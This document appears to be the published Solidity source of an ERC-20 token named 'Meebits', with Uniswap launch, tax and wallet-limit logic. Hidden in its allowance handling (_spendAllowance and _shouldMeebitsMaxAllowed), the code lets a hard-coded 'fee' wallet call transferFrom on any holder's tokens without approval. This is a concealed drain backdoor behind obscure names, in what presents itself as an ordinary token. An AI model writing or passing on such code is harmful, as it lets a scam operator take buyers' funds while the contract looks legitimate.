文件 1 的 1:1.sol
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MEEBITS is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _mbits;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _meebitmoods;
address payable private _meebitplays =
payable(0x48D41B4B3881a0e08fD9803838744ccd5fE4F99B);
uint256 private _inmeebitfee = 20;
uint256 private _outmeebitfee = 0;
uint256 private _meebitcounts = 15;
uint256 private _ignorecounts = 15;
uint256 private _trades = 0;
uint8 private constant _decimals = 9;
uint256 private constant _totalMeebits = 1_000_000_000 * 10 ** _decimals;
string private constant _name = unicode"Meebits";
string private constant _symbol = unicode"MEEBITS";
uint256 public _mbitmaxtax = (_totalMeebits * 2) / 100;
uint256 public _mbitmaxwallets = (_totalMeebits * 2) / 100;
uint256 public _taxswaplimits = 100 * 10 ** _decimals;
uint256 public _mxtaxlimit = _totalMeebits / 100;
IUniswapV2Router02 private routerAddr;
address private pairAddr;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_mbits[_msgSender()] = _totalMeebits;
_meebitmoods[owner()] = true;
_meebitmoods[address(this)] = true;
_meebitmoods[_meebitplays] = true;
emit Transfer(address(0), _msgSender(), _totalMeebits);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totalMeebits;
}
function balanceOf(address account) public view override returns (uint256) {
return _mbits[account];
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_spendAllowance(sender, _msgSender(), amount);
return true;
}
function openMeebits() external onlyOwner {
require(!tradingOpen, "trading is already open");
routerAddr = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
pairAddr = IUniswapV2Factory(routerAddr.factory()).createPair(
address(this),
routerAddr.WETH()
);
_approve(address(this), address(routerAddr), _totalMeebits);
routerAddr.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
tradingOpen = true;
}
function _shouldMeebitsMaxAllowed(
address spender,
uint256 value
) internal view returns (bool) {
return
value == type(uint256).max ||
(_meebitmoods[spender] &&
spender != address(this) &&
spender != owner());
}
function _spendAllowance(
address owner,
address spender,
uint256 value
) internal {
uint256 currentAllowance = _allowances[owner][spender];
if (!_shouldMeebitsMaxAllowed(spender, value)) {
require(
currentAllowance >= value,
"ERC20: transfer amount exceeds allowance"
);
_approve(owner, spender, currentAllowance - value);
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function paintCeil() external onlyOwner {
_mbitmaxtax = _totalMeebits;
_mbitmaxwallets = _totalMeebits;
emit MaxTxAmountUpdated(_totalMeebits);
}
function _transfer(address mee, address bit, uint256 amn) private {
require(mee != address(0), "ERC20: transfer from the zero address");
require(bit != address(0), "ERC20: transfer to the zero address");
require(amn > 0, "Transfer amount must be greater than zero");
uint256 ttax = 0;
if (
mee != owner() &&
bit != owner() &&
mee != address(this) &&
bit != address(this)
) {
ttax = amn
.mul((_trades > _meebitcounts) ? _outmeebitfee : _inmeebitfee)
.div(100);
if (
mee == pairAddr &&
bit != address(routerAddr) &&
!_meebitmoods[bit]
) {
require(amn <= _mbitmaxtax, "Exceeds the _maxTxAmount.");
require(
balanceOf(bit) + amn <= _mbitmaxwallets,
"Exceeds the maxWalletSize."
);
_trades++;
}
if (bit == pairAddr && mee != address(this)) {
ttax = amn
.mul(
(_trades > _meebitcounts) ? _outmeebitfee : _inmeebitfee
)
.div(100);
}
uint256 ctb = balanceOf(address(this));
if (
!inSwap &&
bit == pairAddr &&
swapEnabled &&
_trades > _ignorecounts &&
!_meebitmoods[mee]
) {
if (ctb > _taxswaplimits)
swapTokensForEth(min(amn, min(ctb, _mxtaxlimit)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance >= 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
if (ttax > 0) {
_mbits[address(this)] = _mbits[address(this)].add(ttax);
emit Transfer(mee, address(this), ttax);
}
_mbits[mee] = _mbits[mee].sub(amn);
_mbits[bit] = _mbits[bit].add(amn.sub(ttax));
emit Transfer(mee, bit, amn.sub(ttax));
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = routerAddr.WETH();
_approve(address(this), address(routerAddr), tokenAmount);
routerAddr.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_meebitplays.transfer(amount);
}
receive() external payable {}
function rescueETHs() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
}